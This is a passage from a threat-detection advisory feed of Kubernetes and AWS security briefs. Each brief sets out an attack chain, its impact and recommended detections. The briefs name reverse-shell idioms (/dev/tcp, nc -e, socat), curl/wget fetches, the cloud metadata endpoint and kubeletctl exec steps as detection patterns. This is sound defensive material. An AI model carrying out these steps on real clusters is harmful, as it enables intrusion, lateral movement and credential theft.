<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Enable syscall auditing and ensure that <code>event.category:network</code> events are generated for network connections, as outlined in the rule&rsquo;s setup guide.</li>
<li>Deploy the provided Sigma rule to your SIEM and tune it based on your environment to reduce false positives.</li>
<li>Restrict pod-to-node access to port 10250 using network policies or security groups to limit the attack surface, as noted in the rule&rsquo;s documentation.</li>
<li>Implement Kubernetes API audit logging to detect unauthorized access attempts and credential access, correlating with process argument telemetry as mentioned in the triage steps.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>lateral-movement</category><category>kubelet</category><category>linux</category><category>container</category></item><item><title>Kubernetes Pod Exec with Curl or Wget to HTTPS</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec/</link><pubDate>Wed, 03 Jan 2024 14:27:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec/</guid><description>This rule detects Kubernetes pod exec API calls using curl or wget to fetch HTTPS URLs, potentially indicating malicious activity such as staging tools or exfiltrating data.</description><content:encoded><![CDATA[<p>This detection rule identifies suspicious activity within Kubernetes environments where attackers leverage <code>kubectl exec</code> or similar API calls to execute commands within pods. Specifically, it focuses on instances where these commands involve using <code>curl</code> or <code>wget</code> to retrieve content over HTTPS. Attackers may use this technique to download malicious scripts, tools, or exfiltrate sensitive data from compromised pods. This activity is flagged based on decoded request URIs from Kubernetes audit logs, reconstructed command strings, and filtering of benign traffic related to cluster health checks and OIDC/JWKS endpoints. The rule aims to detect anomalous behavior that deviates from typical pod execution patterns, helping defenders identify potential intrusions or misuse of pod execution privileges. The rule was created on 2026/04/23 and last updated on 2026/04/23 according to the source.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains unauthorized access to the Kubernetes cluster, possibly through compromised credentials or a vulnerability.</li>
<li>The attacker identifies a target pod within the cluster to execute commands within.</li>
<li>The attacker uses <code>kubectl exec</code> or a similar API call to initiate a shell session within the target pod.</li>
<li>The attacker crafts a command using <code>curl</code> or <code>wget</code> to download a malicious script, tool, or exfiltrate data over HTTPS. The URL is often encoded in the requestURI.</li>
<li>The Kubernetes API server records the exec call and its parameters in the audit logs.</li>
<li>The detection rule decodes the requestURI, extracts the command string, and identifies the use of <code>curl</code> or <code>wget</code> with an HTTPS URL.</li>
<li>The rule filters out known benign URLs associated with cluster health checks or OIDC/JWKS endpoints.</li>
<li>If the command is identified as malicious, an alert is triggered, indicating a potential compromise.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation can lead to the deployment of malicious tools within the Kubernetes environment, potentially enabling lateral movement, data theft, or denial-of-service attacks.  Compromised pods could expose sensitive data or be used as a launchpad for further attacks on the cluster or other systems. The scope of impact depends on the permissions granted to the compromised pod and the attacker&rsquo;s objectives.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule &ldquo;Kubernetes Pod Exec with Curl or Wget to HTTPS&rdquo; to your SIEM and tune for your environment.</li>
<li>Review Kubernetes RoleBindings for <code>pods/exec</code> to ensure only required principals retain access on sensitive namespaces.</li>
<li>Investigate any alerts generated by the Sigma rule by reviewing the decoded URI and reconstructed command in the alert details.</li>
<li>Implement network policies to restrict egress traffic from pods, limiting the potential for data exfiltration via HTTPS.</li>
<li>Regularly audit Kubernetes audit logs for suspicious activity related to pod execution and API calls.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>execution</category><category>command and control</category><category>threat detection</category></item><item><title>Kubernetes Multi-Resource Discovery Reconnaissance</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-multi-resource-discovery/</link><pubDate>Wed, 03 Jan 2024 14:22:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-multi-resource-discovery/</guid><description>Adversaries may perform reconnaissance in a Kubernetes environment by rapidly querying multiple resource types to map the environment and identify potential privilege escalation paths.</description><content:encoded><![CDATA[<p>After gaining initial access to a Kubernetes cluster, adversaries often conduct reconnaissance to understand the environment before further actions like exfiltration or privilege escalation. This involves mapping the cluster&rsquo;s structure, identifying workloads, and understanding role-based access control (RBAC) configurations. This reconnaissance is achieved by rapidly querying various API resources, including namespaces, pods, roles, ClusterRoles, ConfigMaps, and ServiceAccounts. The activity is characterized by a burst of <code>get</code> and <code>list</code> requests across multiple resource types within a short timeframe, which is atypical for normal cluster operations and may indicate malicious probing or permission reconnaissance. This detection focuses on identifying such cross-resource bursts from a single client to distinguish reconnaissance activities from routine automation.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker gains initial access to the Kubernetes cluster using compromised credentials or by exploiting a vulnerability. (T1190, T1566)</li>
<li>The attacker authenticates to the Kubernetes API server using the compromised credentials or a valid service account token.</li>
<li>The attacker begins enumerating namespaces to understand the logical divisions within the cluster using <code>kubectl get namespaces</code> or equivalent API calls. (T1068)</li>
<li>The attacker queries pods within the discovered namespaces to identify running workloads and potential targets. (T1068)</li>
<li>The attacker lists roles and cluster roles to understand the existing RBAC configurations and identify potential privilege escalation opportunities. (T1069)</li>
<li>The attacker retrieves service accounts to identify applications and their associated permissions, potentially discovering more attack vectors.</li>
<li>The attacker analyzes the collected information to identify vulnerable services, misconfigured permissions, or sensitive data.</li>
<li>Based on the reconnaissance, the attacker proceeds with lateral movement, privilege escalation, data exfiltration, or other malicious objectives.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful reconnaissance allows attackers to gain a comprehensive understanding of the Kubernetes environment, facilitating further malicious activities such as lateral movement, privilege escalation, and data exfiltration. This can lead to the compromise of sensitive data, disruption of services, and unauthorized access to critical resources. The impact is magnified in clusters with weak RBAC policies or exposed sensitive information.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule &ldquo;Kubernetes Multi-Resource Discovery&rdquo; to your SIEM and tune for your environment to detect reconnaissance activities.</li>
<li>Investigate alerts generated by the Sigma rule by pivoting on <code>user.name</code>, <code>source.ip</code>, and <code>user_agent.original</code> to determine the sequence of API calls.</li>
<li>Correlate the identified activity with RBAC configurations to identify potential violations of the principle of least privilege as described in the rule&rsquo;s Triage and Analysis section.</li>
<li>Baseline automation by allowlisting known service accounts or source networks that legitimately span multiple resource types in a short window, as described in the rule&rsquo;s False Positive Analysis section.</li>
<li>Review and tighten RBAC configurations to minimize the impact of compromised credentials as described in the Response and Remediation section.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>discovery</category><category>reconnaissance</category></item><item><title>Potential Direct Kubelet Access via Process Arguments</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubelet-access/</link><pubDate>Wed, 03 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubelet-access/</guid><description>Detection of potential direct Kubelet access via process arguments in Linux containers, which could lead to enumeration, execution, or lateral movement within the Kubernetes cluster.</description><content:encoded><![CDATA[<p>This rule detects potential direct Kubelet access via process arguments within Linux containers. Attackers may target the Kubelet API to gain unauthorized access to the Kubernetes API server or other sensitive resources within the cluster. Observed requests are often used for reconnaissance, such as enumerating pods and cluster resources, or for executing commands directly on the API server. This activity indicates a potential attempt to move laterally within the Kubernetes environment. The activity is detected by monitoring process arguments for HTTP requests directed at the Kubelet API on ports 10250 or 10255. The detection leverages Elastic Defend for Containers, introduced in version 9.3.0.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a container within the Kubernetes cluster, potentially through exploiting a vulnerable application.</li>
<li>The attacker opens an interactive shell within the compromised container.</li>
<li>Using command-line tools such as <code>curl</code> or <code>wget</code>, the attacker crafts an HTTP request targeting the Kubelet API, typically on port 10250 or 10255.</li>
<li>The HTTP request is embedded within the process arguments, including specific Kubelet endpoints such as <code>/pods</code>, <code>/exec</code>, <code>/run</code>, or <code>/logs</code>.</li>
<li>The attacker attempts to enumerate pods and other cluster resources by querying the <code>/pods</code> endpoint.</li>
<li>The attacker attempts to execute commands within containers by leveraging the <code>/exec</code> or <code>/run</code> endpoints.</li>
<li>The attacker attempts to retrieve container logs using the <code>/logs</code> endpoint.</li>
<li>Successful exploitation allows the attacker to move laterally within the Kubernetes cluster, potentially gaining access to sensitive data or control over other resources.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of direct Kubelet access can lead to significant compromise within a Kubernetes cluster. Attackers can enumerate sensitive information, execute arbitrary commands within containers, and move laterally to other parts of the cluster. This can result in data exfiltration, denial of service, or complete cluster takeover. Due to the high level of access granted by Kubelet, a successful attack allows the attacker to take complete control over the target node.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the provided Sigma rules to your SIEM and tune them for your environment. Enable Elastic Defend for Containers with a minimum version of 9.3.0 to generate the necessary logs for these detections.</li>
<li>Review network policies to restrict pod access to Kubelet ports (10250, 10255) except from approved node-local agents (references: <a href="https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster)">https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster)</a>.</li>
<li>Harden Kubelet authentication and authorization by disabling anonymous access and requiring webhook authorization (references: <a href="https://www.aquasec.com/blog/kubernetes-exposed-exploiting-the-kubelet-api/)">https://www.aquasec.com/blog/kubernetes-exposed-exploiting-the-kubelet-api/)</a>.</li>
<li>Enforce pod security policies to restrict privileged pods and host networking, reducing the attack surface for node API access.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>container</category><category>kubelet</category><category>kubernetes</category><category>lateral-movement</category><category>execution</category></item><item><title>Kubernetes Secret Access with Suspicious User Agent</title><link>https://feed.craftedsignal.io/briefs/2024-01-03-kubernetes-secret-access/</link><pubDate>Wed, 03 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-03-kubernetes-secret-access/</guid><description>Detects read access to Kubernetes Secrets (`get`/`list`) with a user agent matching a curated set of non-standard or attacker-leaning clients, indicating potential credential access.</description><content:encoded><![CDATA[<p>This rule identifies suspicious access patterns to Kubernetes Secrets. Attackers may attempt to retrieve secrets containing sensitive information such as credentials, API keys, and other confidential data. This detection focuses on identifying access attempts originating from clients with non-standard user agents, such as scripting runtimes (Python, Perl, PHP), basic HTTP tools (curl, wget), or those associated with penetration testing distributions (Kali Linux). Legitimate access typically involves stable, purpose-built user agents. This detection helps uncover potential credential access attempts that bypass standard access controls. The rule specifically triggers on <code>get</code> and <code>list</code> actions against Kubernetes secrets, coupled with a suspicious <code>user_agent.original</code> and a populated <code>source.ip</code>.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains initial access to a compromised host or pod within the Kubernetes cluster or an external system with network access to the Kubernetes API server.</li>
<li>The attacker crafts HTTP requests to the Kubernetes API server to enumerate available secrets.</li>
<li>The attacker uses tooling such as <code>curl</code>, <code>wget</code>, or custom scripts with user agents like <code>python-requests</code> or <code>Go-http-client</code> to interact with the API.</li>
<li>The attacker sends a <code>GET</code> or <code>LIST</code> request to the <code>/api/v1/namespaces/{namespace}/secrets/{name}</code> endpoint to retrieve specific secrets or list all secrets in a namespace.</li>
<li>The Kubernetes API server authenticates and authorizes the request based on the attacker&rsquo;s assigned RBAC roles, potentially using impersonation.</li>
<li>If authorized, the API server returns the secret data in the response.</li>
<li>The attacker extracts sensitive information like passwords, tokens, or API keys from the retrieved secrets.</li>
<li>The attacker uses the compromised credentials to escalate privileges, move laterally within the cluster, or access external resources.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows attackers to steal sensitive information stored in Kubernetes secrets, leading to privilege escalation, lateral movement, and unauthorized access to critical systems and data. Compromised credentials can be used to access external cloud resources or internal services. The impact depends on the sensitivity of the secrets, but can include data breaches, service disruptions, and significant financial loss.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Kubernetes Secret get or list with Suspicious User Agent</code> to your SIEM to detect suspicious access to Kubernetes secrets.</li>
<li>Investigate any alerts triggered by the Sigma rule, focusing on the user identity (<code>user.name</code>), targeted namespace (<code>kubernetes.audit.objectRef.namespace</code>), and source IP (<code>source.ip</code>).</li>
<li>Baseline expected user agents for legitimate automation and add exceptions to the detection rule for known good traffic.</li>
<li>Rotate affected secrets and credentials, revoke tokens, and tighten RBAC if unauthorized access is detected.</li>
<li>Block or isolate the source host at the network edge to the API server where appropriate, based on <code>source.ip</code>.</li>
<li>Monitor <code>kubernetes.audit.annotations.authorization_k8s_io/decision</code> to identify unauthorized attempts to access secrets.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>credential-access</category><category>cloud</category></item><item><title>Kubernetes Rapid Secret GET Activity Against Multiple Objects</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secret-retrieval-burst/</link><pubDate>Wed, 03 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secret-retrieval-burst/</guid><description>Detects an unusual volume of Kubernetes API get requests against multiple distinct Secret objects from the same client fingerprint, potentially indicating credential access or in-cluster reconnaissance.</description><content:encoded><![CDATA[<p>This detection rule identifies suspicious activity within Kubernetes environments where a single client fingerprint (defined by user, source IP, and user agent) rapidly retrieves multiple distinct Secret objects via the Kubernetes API. The rule focuses on detecting potential credential access or in-cluster reconnaissance attempts. The activity may involve successful and failed GET requests, where failed requests may reveal information about RBAC boundaries or confirm the existence of targeted secrets. This activity can indicate that an attacker is attempting to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. The rule excludes common sources such as the kube-controller-manager and kube-scheduler.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a Kubernetes cluster, potentially by exploiting a vulnerability or compromising a service account.</li>
<li>The attacker uses the compromised credentials to authenticate to the Kubernetes API.</li>
<li>The attacker sends a series of GET requests to the Kubernetes API, targeting Secret objects.</li>
<li>The API server authenticates and authorizes the requests based on the attacker&rsquo;s permissions and RBAC configurations.</li>
<li>Successful GET requests return the contents of the Secret objects.</li>
<li>Failed GET requests may reveal RBAC restrictions, namespace details, or secret existence.</li>
<li>The attacker analyzes the retrieved Secrets or error messages to gather sensitive information like credentials or configuration details.</li>
<li>The attacker uses the gathered information to further compromise the cluster or exfiltrate data.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>A successful attack can lead to the compromise of sensitive data stored within Kubernetes Secrets, such as service account tokens, registry credentials, TLS keys, and application configuration. This can result in privilege escalation, lateral movement, and data exfiltration. The rule aims to detect unauthorized access to these resources, preventing attackers from gaining access to critical infrastructure and data. If successful, the attackers could also potentially gain access to connected cloud resources via exposed credentials.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Kubernetes Rapid Secret GET Activity</code> to your SIEM and tune for your environment.</li>
<li>Investigate any alerts generated by the <code>Kubernetes Rapid Secret GET Activity</code> Sigma rule, focusing on the <code>Esql.outcome</code> field to determine the success or failure of the requests.</li>
<li>Review RBAC configurations for the identified user accounts and source IPs to identify overly permissive access controls using <code>user.name</code>, <code>source.ip</code>, and <code>Esql.namespaces</code>.</li>
<li>Monitor Kubernetes audit logs for unusual API activity, specifically targeting GET requests to Secret objects using <code>kubernetes.audit.objectRef.resource == &quot;secrets&quot;</code> as a filter.</li>
<li>Implement network segmentation to limit the blast radius of compromised accounts, using <code>source.ip</code> to track connections.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>credential-access</category><category>threat-detection</category></item><item><title>Kubernetes Pod Exec Potential Reverse Shell Activity Detected</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec-reverse-shell/</link><pubDate>Wed, 03 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-pod-exec-reverse-shell/</guid><description>This rule flags potential reverse shell activity via kubectl exec commands in Kubernetes pods by detecting specific shell and socket idioms within URL-decoded command payloads in Kubernetes audit logs, indicating post-exploitation interactive access and command-and-control.</description><content:encoded><![CDATA[<p>This detection identifies attempts to establish reverse shells or bind shells within Kubernetes pods. The rule analyzes Kubernetes audit logs, specifically targeting <code>kubectl exec</code> commands where a user is attempting to execute commands inside a container. By decoding the URL-encoded command parameters and searching for known reverse shell patterns (e.g., usage of <code>/dev/tcp</code>, <code>nc -e</code>, <code>socat</code>), the rule aims to detect unauthorized interactive access and command-and-control activity originating from compromised pods. This activity is often indicative of post-exploitation behavior, where an attacker seeks to gain persistent access to the Kubernetes cluster. The rule is based on the Elastic detection rule released on 2026-04-23. It is critical to investigate these alerts promptly, as successful reverse shell establishment can lead to data exfiltration, lateral movement within the cluster, and further compromise of sensitive resources.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a Kubernetes cluster, potentially through a vulnerability in an application running within a pod, or by compromising a user&rsquo;s credentials.</li>
<li>The attacker uses <code>kubectl exec</code> to execute a command within a target pod. The command is embedded within the <code>requestURI</code> parameter, URL-encoded to evade basic detection.</li>
<li>The <code>requestURI</code> includes the <code>command=</code> parameter, followed by a string containing shell commands designed to initiate a reverse or bind shell.</li>
<li>The malicious command utilizes utilities such as <code>nc</code>, <code>socat</code>, or <code>bash</code> with redirection to <code>/dev/tcp</code> to establish a network connection back to the attacker&rsquo;s controlled machine.</li>
<li>The reverse shell connects back to the attacker, providing interactive command execution within the compromised pod.</li>
<li>The attacker uses the reverse shell to perform reconnaissance, discover sensitive information, and potentially escalate privileges within the pod.</li>
<li>The attacker might attempt to move laterally to other pods or nodes within the cluster, leveraging stolen credentials or exploiting further vulnerabilities.</li>
<li>The attacker achieves their objective, which may include data exfiltration, deployment of malicious containers, or disruption of services.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>A successful reverse shell attack within a Kubernetes cluster can have severe consequences. Attackers can gain unauthorized access to sensitive data, compromise critical applications, and disrupt services. Lateral movement within the cluster can lead to widespread compromise, potentially affecting numerous pods and nodes. The lack of proper monitoring and alerting for <code>kubectl exec</code> commands can allow attackers to operate undetected for extended periods, increasing the potential for significant damage. The financial impact can range from tens of thousands to millions of dollars, depending on the severity of the breach and the value of the compromised data.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the &ldquo;Kubernetes Pod Exec Potential Reverse Shell&rdquo; Sigma rule to your SIEM and tune for your environment to detect malicious <code>kubectl exec</code> commands.</li>
<li>Enable Kubernetes audit logging to capture <code>kubectl exec</code> events and ensure that the audit logs are ingested into your SIEM.</li>
<li>Implement network policies to restrict outbound connections from pods, limiting the ability of attackers to establish reverse shells.</li>
<li>Monitor Kubernetes audit logs for suspicious user activity, such as unusual API calls or access to sensitive resources.</li>
<li>Regularly review and update RBAC (Role-Based Access Control) policies to minimize the privileges assigned to users and service accounts, reducing the attack surface.</li>
<li>Implement the provided regex pattern in the Sigma rule within your existing detection logic, ensuring adequate coverage of reverse shell attempts.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>reverse_shell</category><category>execution</category><category>command_and_control</category></item><item><title>Kubernetes Pod Exec Cloud Instance Metadata Access</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-metadata-access/</link><pubDate>Wed, 03 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-metadata-access/</guid><description>Detection of Kubernetes pod exec sessions accessing cloud instance metadata endpoints, indicating potential credential theft from AWS, GCP, or Azure.</description><content:encoded><![CDATA[<p>This alert focuses on detecting Kubernetes pod exec sessions that attempt to access cloud instance metadata endpoints. The activity is flagged when the decoded command line of a pod exec session contains references to cloud instance metadata services across AWS, GCP, and Azure. Attackers may exploit this to harvest role credentials, tokens, or instance attributes from the underlying node or hypervisor. This is a high-risk behavior because it can expose short-lived cloud credentials to code running inside a container, particularly concerning in multi-tenant and regulated environments. This detection classifies the cloud target and whether the command indicates credential theft or reconnaissance.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains initial access to a Kubernetes cluster.</li>
<li>Attacker identifies a vulnerable pod within the cluster.</li>
<li>The attacker uses <code>kubectl exec</code> to gain shell access to the pod.</li>
<li>Inside the pod, the attacker crafts a command-line request targeting the cloud instance metadata service (IMDS) endpoint.</li>
<li>The command, often using <code>curl</code> or <code>wget</code>, attempts to retrieve sensitive information such as IAM roles, tokens, or instance attributes.</li>
<li>The IMDS responds with the requested data, which may include credentials or configuration details.</li>
<li>The attacker exfiltrates the stolen credentials or uses them to escalate privileges within the cloud environment.</li>
<li>Attacker uses the harvested credentials to move laterally, compromise other cloud resources, or exfiltrate sensitive data.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Compromised credentials can lead to unauthorized access to sensitive data, lateral movement within the cloud environment, and potential data exfiltration. A successful attack could impact multiple organizations sharing the same Kubernetes cluster. The impact could include financial losses, reputational damage, and regulatory fines, depending on the type of data compromised and the extent of the breach.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Kubernetes Pod Exec IMDS Access</code> to detect suspicious command-line activity within Kubernetes pods.</li>
<li>Block access to the cloud instance metadata endpoints (169.254.169.254) from within Kubernetes pods using network policies.</li>
<li>Regularly review and tighten RBAC permissions related to <code>pods/exec</code> to limit the ability of attackers to gain shell access.</li>
<li>Monitor cloud audit logs for suspicious STS or token issuance events correlated with Kubernetes pod exec events.</li>
<li>Implement workload identity solutions to avoid the need to expose instance metadata to pods.</li>
<li>Baseline approved images and tune exclusions narrowly to avoid false positives.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>cloud</category><category>credential_access</category><category>execution</category></item><item><title>AWS AssumeRoleWithWebIdentity from Kubernetes SA and External ASN</title><link>https://feed.craftedsignal.io/briefs/2024-01-03-aws-assume-role-external-asn/</link><pubDate>Wed, 03 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-03-aws-assume-role-external-asn/</guid><description>Detects successful AWS `AssumeRoleWithWebIdentity` calls where the caller identity is a Kubernetes service account and the source autonomous system organization is not `Amazon.com, Inc.`, which may indicate a stolen or misused projected service-account token being exchanged for IAM credentials off-cluster.</description><content:encoded><![CDATA[<p>This detection rule identifies instances of successful AWS <code>AssumeRoleWithWebIdentity</code> calls originating from a Kubernetes service account but not from an Amazon-managed Autonomous System Number (ASN). The primary concern is the potential compromise or misuse of projected service account tokens. Kubernetes service accounts can be mapped to IAM roles through OIDC using IRSA (IAM Roles for Service Accounts). Typically, these credential requests originate from within AWS-managed or associated networks. However, if a request with a Kubernetes service account identity originates from an external ASN (i.e., not <code>Amazon.com, Inc.</code>), it raises suspicion that the token might have been exfiltrated and is being used from an unauthorized location. This rule is designed to highlight such anomalies, prompting further investigation into possible token theft or misconfiguration.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains unauthorized access to a Kubernetes service account token within a compromised pod or through other means.</li>
<li>Attacker exfiltrates the service account token from the Kubernetes cluster.</li>
<li>The attacker uses the exfiltrated token to call the AWS STS <code>AssumeRoleWithWebIdentity</code> API.</li>
<li>The <code>AssumeRoleWithWebIdentity</code> call is made from a network with an ASN organization name that is not <code>Amazon.com, Inc.</code>.</li>
<li>AWS CloudTrail logs the successful <code>AssumeRoleWithWebIdentity</code> event, including details about the user, source IP, and ASN organization.</li>
<li>The compromised IAM role is used to perform unauthorized actions within the AWS environment.</li>
<li>These actions could include data exfiltration, resource modification, or further lateral movement within the cloud infrastructure.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>A successful attack of this nature can lead to significant security breaches within an AWS environment. An attacker leveraging stolen service account tokens can gain unauthorized access to sensitive resources, leading to data breaches, service disruption, or financial loss. This is especially concerning for organizations heavily reliant on Kubernetes and AWS, as it can undermine the security of their cloud-native applications and infrastructure. While the number of affected organizations is unknown, the potential impact on those targeted can be severe, leading to substantial remediation costs and reputational damage.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>AWS AssumeRoleWithWebIdentity from Kubernetes SA and External ASN</code> to your SIEM and tune for your environment.</li>
<li>Investigate any alerts generated by the Sigma rule by following the investigation steps in the rule&rsquo;s <code>note</code> field.</li>
<li>Expand the <code>source.as.organization.name</code> exclusions in the Sigma rule for known and trusted egress paths if needed.</li>
<li>Enable geolocation/ASN enrichment for your AWS CloudTrail logs to accurately identify the source of <code>AssumeRoleWithWebIdentity</code> calls.</li>
<li>Regularly review and rotate IRSA trust relationships to minimize the impact of compromised service account tokens.</li>
<li>Revoke the role session, rotate IRSA trust where appropriate, investigate token exposure, and reduce service account and role permissions if unauthorized access is suspected.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>aws</category><category>cloudtrail</category><category>iam</category><category>kubernetes</category><category>initial-access</category><category>web-identity</category></item><item><title>Potential Kubeletctl Execution on Linux Hosts</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubeletctl-execution/</link><pubDate>Tue, 02 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubeletctl-execution/</guid><description>This rule detects the execution of kubeletctl, a command-line tool used to interact with the Kubelet API, on Linux hosts, potentially leading to discovery and lateral movement within Kubernetes environments.</description><content:encoded><![CDATA[<p>The kubeletctl tool simplifies access to Kubelet endpoints, potentially allowing attackers to perform discovery and lateral movement within Kubernetes environments. The tool can be used to enumerate pods and nodes, and attempt actions such as exec/attach/portForward. Attackers may run <code>kubeletctl scan</code> to find reachable Kubelet endpoints, then use <code>pods</code> or <code>exec/attach</code> for follow-on access. This activity is typically observed on Linux hosts within containerized environments. Defenders should monitor for the execution of kubeletctl with suspicious arguments or connections to Kubelet ports (commonly 10250/10255).</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains initial access to a compromised host within the Kubernetes environment.</li>
<li>Attacker downloads or transfers the <code>kubeletctl</code> binary to the compromised host.</li>
<li>Attacker executes <code>kubeletctl scan</code> to identify accessible Kubelet API endpoints by scanning for open ports 10250 and 10255.</li>
<li>Attacker uses <code>kubeletctl pods</code> to enumerate running pods on a targeted node based on the scan results.</li>
<li>Attacker leverages <code>kubeletctl exec</code> or <code>kubeletctl attach</code> to gain shell access to a pod.</li>
<li>Attacker uses the compromised pod to move laterally within the Kubernetes cluster, potentially accessing sensitive data or resources.</li>
<li>Attacker may attempt to access Kubernetes credentials, such as service account tokens or kubeconfigs, for further privilege escalation.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation can allow attackers to enumerate pods and nodes, execute commands within containers, and potentially move laterally within the Kubernetes cluster. This could lead to unauthorized access to sensitive data, resource hijacking, or complete compromise of the Kubernetes environment. The CyberArk research cited in the references describes how kubeletctl can be leveraged to attack Kubernetes clusters.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Potential Kubeletctl Execution</code> to detect suspicious execution of the <code>kubeletctl</code> binary on Linux hosts, focusing on command-line arguments such as <code>scan</code>, <code>pods</code>, <code>exec</code>, and <code>attach</code>.</li>
<li>Monitor host and container telemetry for connections to Kubelet ports (10250/10255) using a network connection rule and look for scanning patterns across multiple nodes.</li>
<li>Restrict access to Kubelet ports at the network layer and harden Kubelet authentication/authorization based on the recommendations in the provided references.</li>
<li>Rotate/revoke any exposed Kubernetes credentials (service account tokens, kubeconfigs, client certs) and investigate for follow-on discovery or execution attempts.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>kubeletctl</category><category>container</category><category>linux</category></item><item><title>Kubernetes Secrets Enumeration from Non-Loopback Client</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secrets-enumeration/</link><pubDate>Tue, 02 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secrets-enumeration/</guid><description>Detection of Kubernetes Secrets listing from non-loopback clients targeting cluster-wide secrets or sensitive namespaces, potentially indicating unauthorized credential access or discovery.</description><content:encoded><![CDATA[<p>This detection identifies Kubernetes Secrets listing events originating from non-loopback clients. Attackers may attempt to enumerate Kubernetes Secrets to gain access to sensitive information such as credentials, API keys, and other confidential data stored within the cluster. The rule specifically focuses on requests targeting cluster-wide secrets or list operations under the <code>kube-system</code> or <code>default</code> namespaces, which are often targeted due to their high concentration of sensitive information. This activity is indicative of potential credential access or discovery attempts within the Kubernetes environment. This rule helps defenders identify and respond to potential reconnaissance or lateral movement activities within their Kubernetes clusters.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a node within the Kubernetes cluster or a system with access to the Kubernetes API.</li>
<li>The attacker authenticates to the Kubernetes API server using compromised credentials or by exploiting a vulnerability.</li>
<li>The attacker crafts a <code>list</code> request targeting the <code>/api/v1/secrets</code> endpoint to enumerate all secrets in the cluster.</li>
